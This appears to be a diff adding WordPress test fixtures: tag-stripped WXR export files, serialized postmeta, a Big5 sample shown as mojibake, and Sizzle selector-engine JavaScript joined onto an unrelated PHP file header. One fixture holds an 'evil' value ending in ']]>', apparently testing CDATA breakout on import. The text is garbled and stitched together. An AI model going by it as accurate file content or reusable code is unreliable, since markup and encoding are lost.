The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.
+
+As a new WordPress user, you should go to your dashboard to delete this page and create new pages for your content. Have fun!]]>
+
+ 2
+ 2011-01-18 07:40:14
+ 2011-01-18 07:40:14
+ open
+ open
+ sample-page
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _wp_page_template
+
+
+
+
+ Child Page
+ http://localhost/?page_id=4
+ Tue, 18 Jan 2011 07:45:50 +0000
+ admin
+ http://localhost/?page_id=4
+
+
+
+ 4
+ 2011-01-18 07:45:50
+ 2011-01-18 07:45:50
+ open
+ open
+ child-page
+ publish
+ 6
+ 0
+ page
+
+ 0
+
+ _edit_last
+
+
+
+ _wp_page_template
+
+
+
+
+ Parent Page
+ http://localhost/?page_id=6
+ Tue, 18 Jan 2011 07:46:09 +0000
+ admin
+ http://localhost/?page_id=6
+
+
+
+ 6
+ 2011-01-18 07:46:09
+ 2011-01-18 07:46:09
+ open
+ open
+ parent-page
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _edit_last
+
+
+
+ _wp_page_template
+
+
+
+
+ Draft Page
+ http://localhost/?page_id=9
+ Wed, 30 Nov -0001 00:00:00 +0000
+ admin
+ http://localhost/?page_id=9
+
+
+
+ 9
+ 2011-01-18 07:46:29
+ 0000-00-00 00:00:00
+ open
+ open
+
+ draft
+ 0
+ 0
+ page
+
+ 0
+
+ _edit_last
+
+
+
+ _wp_page_template
+
+
+
+
+ 1-col page
+ http://localhost/?page_id=11
+ Tue, 18 Jan 2011 07:46:57 +0000
+ admin
+ http://localhost/?page_id=11
+
+
+
+ 11
+ 2011-01-18 07:46:57
+ 2011-01-18 07:46:57
+ open
+ open
+ 1-col-page
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _edit_last
+
+
+
+ _wp_page_template
+
+
+
+
+ Private Post
+ http://localhost/?p=13
+ Tue, 18 Jan 2011 07:47:19 +0000
+ admin
+ http://localhost/?p=13
+
+
+
+ 13
+ 2011-01-18 07:47:19
+ 2011-01-18 07:47:19
+ open
+ open
+ private-post
+ private
+ 0
+ 0
+ post
+
+ 0
+
+
+
+
+
+ _edit_last
+
+
+
+
+ Foo-child
+ http://localhost/?p=15
+ Tue, 18 Jan 2011 07:48:07 +0000
+ editor
+ http://localhost/?p=15
+
+
+
+ 15
+ 2011-01-18 07:48:07
+ 2011-01-18 07:48:07
+ open
+ open
+ foo-child
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+
+ _edit_last
+
+
+
+ Post by
+
+
+
+
+ Top-level Foo
+ http://localhost/?p=17
+ Tue, 18 Jan 2011 07:48:32 +0000
+ admin
+ http://localhost/?p=17
+
+
+
+ 17
+ 2011-01-18 07:48:32
+ 2011-01-18 07:48:32
+ open
+ open
+ top-level-foo
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+
+ _edit_last
+
+
+
+
+ Non-standard post format
+ http://localhost/?p=19
+ Tue, 18 Jan 2011 07:48:52 +0000
+ admin
+ http://localhost/?p=19
+
+
+
+ 19
+ 2011-01-18 07:48:52
+ 2011-01-18 07:48:52
+ open
+ open
+ non-standard-post-format
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+
+
+ _edit_last
+
+
+
+
+ Many Categories
+ http://localhost/?p=22
+ Tue, 18 Jan 2011 07:55:01 +0000
+ admin
+ http://localhost/?p=22
+
+
+
+ 22
+ 2011-01-18 07:55:01
+ 2011-01-18 07:55:01
+ open
+ open
+ many-categories
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ _edit_last
+
+
+
+
+
diff --git a/tests/data/export/test-serialized-postmeta-no-cdata.xml b/tests/data/export/test-serialized-postmeta-no-cdata.xml
new file mode 100644
index 0000000000..dd75787f42
--- /dev/null
+++ b/tests/data/export/test-serialized-postmeta-no-cdata.xml
@@ -0,0 +1,69 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Test With Serialized Postmeta
+ http://test.wordpress.org/
+ Just another blog
+ Mon, 30 Nov 2009 21:35:27 +0000
+ http://wordpress.org/?v=2.8.4
+ en
+ 1.0
+ http://test.wordpress.org/
+ http://test.wordpress.org/
+
+My Entry with Postmeta
+http://test.wordpress.org/postemta
+Tue, 30 Nov 1999 00:00:00 +0000
+
+
+
+
+
+
+http://test.wordpress.org/postmeta
+
+
+
+122
+2009-10-20 16:13:20
+0000-00-00 00:00:00
+open
+open
+
+draft
+0
+0
+post
+
+
+post-options
+a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}
+
+
+
+
+
diff --git a/tests/data/export/test-serialized-postmeta-with-cdata.xml b/tests/data/export/test-serialized-postmeta-with-cdata.xml
new file mode 100644
index 0000000000..2fd3923501
--- /dev/null
+++ b/tests/data/export/test-serialized-postmeta-with-cdata.xml
@@ -0,0 +1,77 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Test With Serialized Postmeta
+ http://test.wordpress.org/
+ Just another blog
+ Mon, 30 Nov 2009 21:35:27 +0000
+ http://wordpress.org/?v=2.8.4
+ en
+ 1.0
+ http://test.wordpress.org/
+ http://test.wordpress.org/
+
+My Entry with Postmeta
+http://test.wordpress.org/postemta
+Tue, 30 Nov 1999 00:00:00 +0000
+
+
+
+
+
+
+http://test.wordpress.org/postmeta
+
+
+
+10
+2009-10-20 16:13:20
+0000-00-00 00:00:00
+open
+open
+
+draft
+0
+0
+post
+
+
+post-options
+
+
+
+contains-html
+some html]]>
+
+
+evil
+evil]]>
+
+
+
+
+
diff --git a/tests/data/export/test-utw-post-meta-import.xml b/tests/data/export/test-utw-post-meta-import.xml
new file mode 100644
index 0000000000..c491f6d4c8
--- /dev/null
+++ b/tests/data/export/test-utw-post-meta-import.xml
@@ -0,0 +1,69 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Test With Serialized Postmeta
+ http://test.wordpress.org/
+ Just another blog
+ Mon, 30 Nov 2009 21:35:27 +0000
+ http://wordpress.org/?v=2.8.4
+ en
+ 1.0
+ http://test.wordpress.org/
+ http://test.wordpress.org/
+
+My Entry with UTW Postmeta
+http://test.wordpress.org/postmeta-utw
+Tue, 30 Nov 1999 00:00:00 +0000
+
+
+
+
+
+
+http://test.wordpress.org/postmeta-utw
+
+
+
+150
+2009-10-20 16:13:20
+0000-00-00 00:00:00
+open
+open
+
+draft
+0
+0
+post
+
+
+test
+a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}}
+
+
+
+
+
diff --git a/tests/data/export/valid-wxr-1.0.xml b/tests/data/export/valid-wxr-1.0.xml
new file mode 100644
index 0000000000..587e57123b
--- /dev/null
+++ b/tests/data/export/valid-wxr-1.0.xml
@@ -0,0 +1,282 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Export Dataset
+ http://localhost/
+ Just another WordPress site
+ Wed, 20 Oct 2010 14:10:09 +0000
+ http://wordpress.org/?v=3.0.1
+ en
+ 1.0
+ http://localhost/
+ http://localhost/
+ alpha
+ beta
+ parent
+ uncategorized
+ childparent
+ chicken
+ face
+ news
+ roar
+
+ http://wordpress.org/?v=3.0.1
+
+
+ Hello world!
+ http://localhost/?p=1
+ Wed, 20 Oct 2010 14:08:20 +0000
+
+
+
+
+
+
+ http://localhost/?p=1
+
+
+
+ 1
+ 2010-10-20 14:08:20
+ 2010-10-20 14:08:20
+ open
+ open
+ hello-world
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+ 1
+
+
+ http://wordpress.org/
+
+ 2010-10-20 14:08:20
+ 2010-10-20 14:08:20
+ To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]>
+ 1
+
+ 0
+ 0
+
+
+
+ About
+ http://localhost/?page_id=2
+ Wed, 20 Oct 2010 14:08:20 +0000
+
+
+ http://localhost/?page_id=2
+
+
+
+ 2
+ 2010-10-20 14:08:20
+ 2010-10-20 14:08:20
+ open
+ open
+ about
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _wp_page_template
+
+
+
+
+ Alpha post
+ http://localhost/?p=4
+ Wed, 20 Oct 2010 14:09:37 +0000
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ http://localhost/?p=4
+
+
+
+ 4
+ 2010-10-20 14:09:37
+ 2010-10-20 14:09:37
+ open
+ open
+ alpha-post
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+ _edit_last
+
+
+
+ _edit_lock
+
+
+
+ _wp_old_slug
+
+
+
+
+ Child post
+ http://localhost/?p=6
+ Wed, 20 Oct 2010 14:10:09 +0000
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ http://localhost/?p=6
+
+
+
+ 6
+ 2010-10-20 14:10:09
+ 2010-10-20 14:10:09
+ open
+ open
+ child-post
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+ _edit_last
+
+
+
+ _edit_lock
+
+
+
+ _wp_old_slug
+
+
+
+
+ Child page
+ http://localhost/?page_id=8
+ Wed, 20 Oct 2010 14:10:35 +0000
+
+
+ http://localhost/?page_id=8
+
+
+
+ 8
+ 2010-10-20 14:10:35
+ 2010-10-20 14:10:35
+ open
+ closed
+ child-post
+ publish
+ 10
+ 0
+ page
+
+ 0
+
+ _edit_last
+
+
+
+ _edit_lock
+
+
+
+ _wp_page_template
+
+
+
+
+ Parent page
+ http://localhost/?page_id=10
+ Wed, 20 Oct 2010 14:10:44 +0000
+
+
+ http://localhost/?page_id=10
+
+
+
+ 10
+ 2010-10-20 14:10:44
+ 2010-10-20 14:10:44
+ open
+ open
+ parent-page
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _edit_lock
+
+
+
+ _edit_last
+
+
+
+ _wp_page_template
+
+
+
+
+
diff --git a/tests/data/export/valid-wxr-1.1.xml b/tests/data/export/valid-wxr-1.1.xml
new file mode 100644
index 0000000000..f389741f1b
--- /dev/null
+++ b/tests/data/export/valid-wxr-1.1.xml
@@ -0,0 +1,112 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Export Datasets
+ http://localhost/
+ Just another WordPress site
+ Sat, 16 Oct 2010 20:53:18 +0000
+ en
+ 1.1
+ http://localhost/
+ http://localhost/
+
+ 2johnjohndoe@example.org
+
+ 3alpha
+ 22clippable
+ 40post_taxbieup
+
+ http://wordpress.org/?v=3.1-alpha
+
+
+ Hello world!
+ http://localhost/?p=1
+ Sat, 16 Oct 2010 20:53:18 +0000
+ john
+ http://localhost/?p=1
+
+
+
+ 1
+ 2010-10-16 20:53:18
+ 2010-10-16 20:53:18
+ open
+ open
+ hello-world
+ publish
+ 0
+ 0
+ post
+
+ 0
+
+
+
+
+ 1
+
+
+ http://wordpress.org/
+
+ 2010-10-16 20:53:18
+ 2010-10-16 20:53:18
+ To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]>
+ 1
+
+ 0
+ 0
+
+
+
+ About
+ http://localhost/?page_id=2
+ Sat, 16 Oct 2010 20:53:18 +0000
+ john
+ http://localhost/?page_id=2
+
+
+
+ 2
+ 2010-10-16 20:53:18
+ 2010-10-16 20:53:18
+ open
+ open
+ about
+ publish
+ 0
+ 0
+ page
+
+ 0
+
+ _wp_page_template
+
+
+
+
+
diff --git a/tests/data/formatting/big5.txt b/tests/data/formatting/big5.txt
new file mode 100644
index 0000000000..5e0ebb467b
--- /dev/null
+++ b/tests/data/formatting/big5.txt
@@ -0,0 +1,51 @@
+?lmDwgn H@~|Q
+
+?lDg
+
+H@
+
+DiDAD`DCWiWAD`WCLAW?alQAWUC
+G`LAH[?F`AH[uC?APX?WAP?
+?C?S?AC
+
+HG
+
+?U?AcoQ?AoCGL??A
+?Au??AU?gAn?MAeHCOHtHBuL
+voAuv?CU@j?A??A?A\
+?~C??~AOHhC
+
+HT
+
+|A?QQofA?sQiA??
+COHutHvvA?A?Az?Aj?C`?LL
+C???]CuLvAhLvC
+
+h|
+
+uDvRA????CWAUvQUA?gAM
+AP?Q?FsC^?lHH?C
+
+H
+
+?aAHU?QtHAH?m?C?aAS
+GH?}A??UXCh?aApuC
+
+H
+
+AO??gC??AO??a?CYsA??C
+
+HC
+
+?a[C?a?HB[?AH???AG[COHtH
+?A~??sCDHLpHG?pC
+
+HK
+
+WYCQU?CBH?cAGXDC~aA?
+WAPAHAFvA?A?gC??AGL?C
+
+HE
+
+??ApwQ?UAiOC?AuQIQ
+zA?SC\EhA?DC
diff --git a/tests/data/formatting/cr-line-endings-file-header.php b/tests/data/formatting/cr-line-endings-file-header.php
new file mode 100644
index 0000000000..e8f3869999
--- /dev/null
+++ b/tests/data/formatting/cr-line-endings-file-header.php
@@ -0,0 +1,5 @@
++~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+ expando = "sizcache" + (Math.random() + '').replace('.', ''),
+ done = 0,
+ toString = Object.prototype.toString,
+ hasDuplicate = false,
+ baseHasDuplicate = true,
+ rBackslash = /\\/g,
+ rReturn = /\r\n/g,
+ rNonWord = /\W/;
+
+// Here we check if the JavaScript engine is using some sort of
+// optimization where it does not always call our comparision
+// function. If that is the case, discard the hasDuplicate value.
+// Thus far that includes Google Chrome.
+[0, 0].sort(function() {
+ baseHasDuplicate = false;
+ return 0;
+});
+
+var Sizzle = function( selector, context, results, seed ) {
+ results = results || [];
+ context = context || document;
+
+ var origContext = context;
+
+ if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
+ return [];
+ }
+
+ if ( !selector || typeof selector !== "string" ) {
+ return results;
+ }
+
+ var m, set, checkSet, extra, ret, cur, pop, i,
+ prune = true,
+ contextXML = Sizzle.isXML( context ),
+ parts = [],
+ soFar = selector;
+
+ // Reset the position of the chunker regexp (start from head)
+ do {
+ chunker.exec( "" );
+ m = chunker.exec( soFar );
+
+ if ( m ) {
+ soFar = m[3];
+
+ parts.push( m[1] );
+
+ if ( m[2] ) {
+ extra = m[3];
+ break;
+ }
+ }
+ } while ( m );
+
+ if ( parts.length > 1 && origPOS.exec( selector ) ) {
+
+ if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
+ set = posProcess( parts[0] + parts[1], context, seed );
+
+ } else {
+ set = Expr.relative[ parts[0] ] ?
+ [ context ] :
+ Sizzle( parts.shift(), context );
+
+ while ( parts.length ) {
+ selector = parts.shift();
+
+ if ( Expr.relative[ selector ] ) {
+ selector += parts.shift();
+ }
+
+ set = posProcess( selector, set, seed );
+ }
+ }
+
+ } else {
+ // Take a shortcut and set the context if the root selector is an ID
+ // (but not if it'll be faster if the inner selector is an ID)
+ if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
+ Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
+
+ ret = Sizzle.find( parts.shift(), context, contextXML );
+ context = ret.expr ?
+ Sizzle.filter( ret.expr, ret.set )[0] :
+ ret.set[0];
+ }
+
+ if ( context ) {
+ ret = seed ?
+ { expr: parts.pop(), set: makeArray(seed) } :
+ Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
+
+ set = ret.expr ?
+ Sizzle.filter( ret.expr, ret.set ) :
+ ret.set;
+
+ if ( parts.length > 0 ) {
+ checkSet = makeArray( set );
+
+ } else {
+ prune = false;
+ }
+
+ while ( parts.length ) {
+ cur = parts.pop();
+ pop = cur;
+
+ if ( !Expr.relative[ cur ] ) {
+ cur = "";
+ } else {
+ pop = parts.pop();
+ }
+
+ if ( pop == null ) {
+ pop = context;
+ }
+
+ Expr.relative[ cur ]( checkSet, pop, contextXML );
+ }
+
+ } else {
+ checkSet = parts = [];
+ }
+ }
+
+ if ( !checkSet ) {
+ checkSet = set;
+ }
+
+ if ( !checkSet ) {
+ Sizzle.error( cur || selector );
+ }
+
+ if ( toString.call(checkSet) === "[object Array]" ) {
+ if ( !prune ) {
+ results.push.apply( results, checkSet );
+
+ } else if ( context && context.nodeType === 1 ) {
+ for ( i = 0; checkSet[i] != null; i++ ) {
+ if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
+ results.push( set[i] );
+ }
+ }
+
+ } else {
+ for ( i = 0; checkSet[i] != null; i++ ) {
+ if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
+ results.push( set[i] );
+ }
+ }
+ }
+
+ } else {
+ makeArray( checkSet, results );
+ }
+
+ if ( extra ) {
+ Sizzle( extra, origContext, results, seed );
+ Sizzle.uniqueSort( results );
+ }
+
+ return results;
+};
+
+Sizzle.uniqueSort = function( results ) {
+ if ( sortOrder ) {
+ hasDuplicate = baseHasDuplicate;
+ results.sort( sortOrder );
+
+ if ( hasDuplicate ) {
+ for ( var i = 1; i < results.length; i++ ) {
+ if ( results[i] === results[ i - 1 ] ) {
+ results.splice( i--, 1 );
+ }
+ }
+ }
+ }
+
+ return results;
+};
+
+Sizzle.matches = function( expr, set ) {
+ return Sizzle( expr, null, null, set );
+};
+
+Sizzle.matchesSelector = function( node, expr ) {
+ return Sizzle( expr, null, null, [node] ).length > 0;
+};
+
+Sizzle.find = function( expr, context, isXML ) {
+ var set, i, len, match, type, left;
+
+ if ( !expr ) {
+ return [];
+ }
+
+ for ( i = 0, len = Expr.order.length; i < len; i++ ) {
+ type = Expr.order[i];
+
+ if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
+ left = match[1];
+ match.splice( 1, 1 );
+
+ if ( left.substr( left.length - 1 ) !== "\\" ) {
+ match[1] = (match[1] || "").replace( rBackslash, "" );
+ set = Expr.find[ type ]( match, context, isXML );
+
+ if ( set != null ) {
+ expr = expr.replace( Expr.match[ type ], "" );
+ break;
+ }
+ }
+ }
+ }
+
+ if ( !set ) {
+ set = typeof context.getElementsByTagName !== "undefined" ?
+ context.getElementsByTagName( "*" ) :
+ [];
+ }
+
+ return { set: set, expr: expr };
+};
+
+Sizzle.filter = function( expr, set, inplace, not ) {
+ var match, anyFound,
+ type, found, item, filter, left,
+ i, pass,
+ old = expr,
+ result = [],
+ curLoop = set,
+ isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
+
+ while ( expr && set.length ) {
+ for ( type in Expr.filter ) {
+ if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
+ filter = Expr.filter[ type ];
+ left = match[1];
+
+ anyFound = false;
+
+ match.splice(1,1);
+
+ if ( left.substr( left.length - 1 ) === "\\" ) {
+ continue;
+ }
+
+ if ( curLoop === result ) {
+ result = [];
+ }
+
+ if ( Expr.preFilter[ type ] ) {
+ match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
+
+ if ( !match ) {
+ anyFound = found = true;
+
+ } else if ( match === true ) {
+ continue;
+ }
+ }
+
+ if ( match ) {
+ for ( i = 0; (item = curLoop[i]) != null; i++ ) {
+ if ( item ) {
+ found = filter( item, match, i, curLoop );
+ pass = not ^ found;
+
+ if ( inplace && found != null ) {
+ if ( pass ) {
+ anyFound = true;
+
+ } else {
+ curLoop[i] = false;
+ }
+
+ } else if ( pass ) {
+ result.push( item );
+ anyFound = true;
+ }
+ }
+ }
+ }
+
+ if ( found !== undefined ) {
+ if ( !inplace ) {
+ curLoop = result;
+ }
+
+ expr = expr.replace( Expr.match[ type ], "" );
+
+ if ( !anyFound ) {
+ return [];
+ }
+
+ break;
+ }
+ }
+ }
+
+ // Improper expression
+ if ( expr === old ) {
+ if ( anyFound == null ) {
+ Sizzle.error( expr );
+
+ } else {
+ break;
+ }
+ }
+
+ old = expr;
+ }
+
+ return curLoop;
+};
+
+Sizzle.error = function( msg ) {
+ throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Utility function for retreiving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+var getText = Sizzle.getText = function( elem ) {
+ var i, node,
+ nodeType = elem.nodeType,
+ ret = "";
+
+ if ( nodeType ) {
+ if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+ // Use textContent || innerText for elements
+ if ( typeof elem.textContent === 'string' ) {
+ return elem.textContent;
+ } else if ( typeof elem.innerText === 'string' ) {
+ // Replace IE's carriage returns
+ return elem.innerText.replace( rReturn, '' );
+ } else {
+ // Traverse it's children
+ for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
+ ret += getText( elem );
+ }
+ }
+ } else if ( nodeType === 3 || nodeType === 4 ) {
+ return elem.nodeValue;
+ }
+ } else {
+
+ // If no nodeType, this is expected to be an array
+ for ( i = 0; (node = elem[i]); i++ ) {
+ // Do not traverse comment nodes
+ if ( node.nodeType !== 8 ) {
+ ret += getText( node );
+ }
+ }
+ }
+ return ret;
+};
+
+var Expr = Sizzle.selectors = {
+ order: [ "ID", "NAME", "TAG" ],
+
+ match: {
+ ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+ CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+ NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
+ ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
+ TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
+ CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
+ POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
+ PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
+ },
+
+ leftMatch: {},
+
+ attrMap: {
+ "class": "className",
+ "for": "htmlFor"
+ },
+
+ attrHandle: {
+ href: function( elem ) {
+ return elem.getAttribute( "href" );
+ },
+ type: function( elem ) {
+ return elem.getAttribute( "type" );
+ }
+ },
+
+ relative: {
+ "+": function(checkSet, part){
+ var isPartStr = typeof part === "string",
+ isTag = isPartStr && !rNonWord.test( part ),
+ isPartStrNotTag = isPartStr && !isTag;
+
+ if ( isTag ) {
+ part = part.toLowerCase();
+ }
+
+ for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
+ if ( (elem = checkSet[i]) ) {
+ while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
+
+ checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
+ elem || false :
+ elem === part;
+ }
+ }
+
+ if ( isPartStrNotTag ) {
+ Sizzle.filter( part, checkSet, true );
+ }
+ },
+
+ ">": function( checkSet, part ) {
+ var elem,
+ isPartStr = typeof part === "string",
+ i = 0,
+ l = checkSet.length;
+
+ if ( isPartStr && !rNonWord.test( part ) ) {
+ part = part.toLowerCase();
+
+ for ( ; i < l; i++ ) {
+ elem = checkSet[i];
+
+ if ( elem ) {
+ var parent = elem.parentNode;
+ checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
+ }
+ }
+
+ } else {
+ for ( ; i < l; i++ ) {
+ elem = checkSet[i];
+
+ if ( elem ) {
+ checkSet[i] = isPartStr ?
+ elem.parentNode :
+ elem.parentNode === part;
+ }
+ }
+
+ if ( isPartStr ) {
+ Sizzle.filter( part, checkSet, true );
+ }
+ }
+ },
+
+ "": function(checkSet, part, isXML){
+ var nodeCheck,
+ doneName = done++,
+ checkFn = dirCheck;
+
+ if ( typeof part === "string" && !rNonWord.test( part ) ) {
+ part = part.toLowerCase();
+ nodeCheck = part;
+ checkFn = dirNodeCheck;
+ }
+
+ checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
+ },
+
+ "~": function( checkSet, part, isXML ) {
+ var nodeCheck,
+ doneName = done++,
+ checkFn = dirCheck;
+
+ if ( typeof part === "string" && !rNonWord.test( part ) ) {
+ part = part.toLowerCase();
+ nodeCheck = part;
+ checkFn = dirNodeCheck;
+ }
+
+ checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
+ }
+ },
+
+ find: {
+ ID: function( match, context, isXML ) {
+ if ( typeof context.getElementById !== "undefined" && !isXML ) {
+ var m = context.getElementById(match[1]);
+ // Check parentNode to catch when Blackberry 4.6 returns
+ // nodes that are no longer in the document #6963
+ return m && m.parentNode ? [m] : [];
+ }
+ },
+
+ NAME: function( match, context ) {
+ if ( typeof context.getElementsByName !== "undefined" ) {
+ var ret = [],
+ results = context.getElementsByName( match[1] );
+
+ for ( var i = 0, l = results.length; i < l; i++ ) {
+ if ( results[i].getAttribute("name") === match[1] ) {
+ ret.push( results[i] );
+ }
+ }
+
+ return ret.length === 0 ? null : ret;
+ }
+ },
+
+ TAG: function( match, context ) {
+ if ( typeof context.getElementsByTagName !== "undefined" ) {
+ return context.getElementsByTagName( match[1] );
+ }
+ }
+ },
+ preFilter: {
+ CLASS: function( match, curLoop, inplace, result, not, isXML ) {
+ match = " " + match[1].replace( rBackslash, "" ) + " ";
+
+ if ( isXML ) {
+ return match;
+ }
+
+ for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
+ if ( elem ) {
+ if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
+ if ( !inplace ) {
+ result.push( elem );
+ }
+
+ } else if ( inplace ) {
+ curLoop[i] = false;
+ }
+ }
+ }
+
+ return false;
+ },
+
+ ID: function( match ) {
+ return match[1].replace( rBackslash, "" );
+ },
+
+ TAG: function( match, curLoop ) {
+ return match[1].replace( rBackslash, "" ).toLowerCase();
+ },
+
+ CHILD: function( match ) {
+ if ( match[1] === "nth" ) {
+ if ( !match[2] ) {
+ Sizzle.error( match[0] );
+ }
+
+ match[2] = match[2].replace(/^\+|\s*/g, '');
+
+ // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+ var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
+ match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
+ !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
+
+ // calculate the numbers (first)n+(last) including if they are negative
+ match[2] = (test[1] + (test[2] || 1)) - 0;
+ match[3] = test[3] - 0;
+ }
+ else if ( match[2] ) {
+ Sizzle.error( match[0] );
+ }
+
+ // TODO: Move to normal caching system
+ match[0] = done++;
+
+ return match;
+ },
+
+ ATTR: function( match, curLoop, inplace, result, not, isXML ) {
+ var name = match[1] = match[1].replace( rBackslash, "" );
+
+ if ( !isXML && Expr.attrMap[name] ) {
+ match[1] = Expr.attrMap[name];
+ }
+
+ // Handle if an un-quoted value was used
+ match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
+
+ if ( match[2] === "~=" ) {
+ match[4] = " " + match[4] + " ";
+ }
+
+ return match;
+ },
+
+ PSEUDO: function( match, curLoop, inplace, result, not ) {
+ if ( match[1] === "not" ) {
+ // If we're dealing with a complex expression, or a simple one
+ if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
+ match[3] = Sizzle(match[3], null, null, curLoop);
+
+ } else {
+ var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
+
+ if ( !inplace ) {
+ result.push.apply( result, ret );
+ }
+
+ return false;
+ }
+
+ } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
+ return true;
+ }
+
+ return match;
+ },
+
+ POS: function( match ) {
+ match.unshift( true );
+
+ return match;
+ }
+ },
+
+ filters: {
+ enabled: function( elem ) {
+ return elem.disabled === false && elem.type !== "hidden";
+ },
+
+ disabled: function( elem ) {
+ return elem.disabled === true;
+ },
+
+ checked: function( elem ) {
+ return elem.checked === true;
+ },
+
+ selected: function( elem ) {
+ // Accessing this property makes selected-by-default
+ // options in Safari work properly
+ if ( elem.parentNode ) {
+ elem.parentNode.selectedIndex;
+ }
+
+ return elem.selected === true;
+ },
+
+ parent: function( elem ) {
+ return !!elem.firstChild;
+ },
+
+ empty: function( elem ) {
+ return !elem.firstChild;
+ },
+
+ has: function( elem, i, match ) {
+ return !!Sizzle( match[3], elem ).length;
+ },
+
+ header: function( elem ) {
+ return (/h\d/i).test( elem.nodeName );
+ },
+
+ text: function( elem ) {
+ var attr = elem.getAttribute( "type" ), type = elem.type;
+ // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
+ // use getAttribute instead to test this case
+ return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
+ },
+
+ radio: function( elem ) {
